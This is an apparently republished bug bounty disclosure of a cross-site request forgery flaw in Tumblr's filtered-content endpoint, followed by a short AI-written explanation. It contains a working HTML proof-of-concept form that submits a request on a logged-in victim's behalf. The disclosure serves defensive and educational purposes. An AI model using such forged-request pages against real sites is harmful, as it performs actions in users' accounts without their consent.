[tumblr.com] CSRF in /svc/user/filtered_content
The Tumblr endpoint for adding filtered content did not validate the custom CSRF header, so a malicious page could submit a form on behalf of a logged-in user. An attacker could add arbitrary filtered content to a victim's account.
- Triaged in 30 days
- Fixed in 39 days
- Paid in 39 days
- Disclosed after 2 months
Summary:
Hello, I have found a Cross-site request forgery in ``https://tumblr.com/svc/user/filtered_content``` allow an attacker to add filtered content to a target/victim account.
The custom HTTP Header X-tumblr-form-key used for the protection CSRF is not validate.
Steps To Reproduce:
- Logging into your Tumblr account in your current navigator .
- Open the poc.html or manually copy this following code in an html file and open this in your current navigator and click to
Submit request.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://www.tumblr.com/svc/user/filtered_content" method="POST">
<input type="hidden" name="filtered_content" value="pwd777" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
- Go to https://www.tumblr.com/settings/account and you will see the keyword
pwd777in your filtered content .
/!\ You can't add a same filtered content this will generate a 400 HTTP Response code /!\
You can follow me in the video POC.
Thanks, good bye.
Impact
Allow a attacker add filtered content to a target/victim account.
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could add filtered content to a victim's account, but only if the victim was logged in and visited the attacker's page.
What the attacker needed
Victim is logged in to Tumblr; victim visits attacker-controlled page
How it was found
- Log in to Tumblr in the browser.
- Open a local HTML page containing a form that posts to the filtered content endpoint, then submit it.
- Check the account settings page to see the new filtered content.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Websites often rely on a secret token in a request to prove it came from their own pages, not from another site. Here that check was missing, so a page on another site could make the victim's browser send the request. The attacker only needed the victim to visit a page while logged in.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.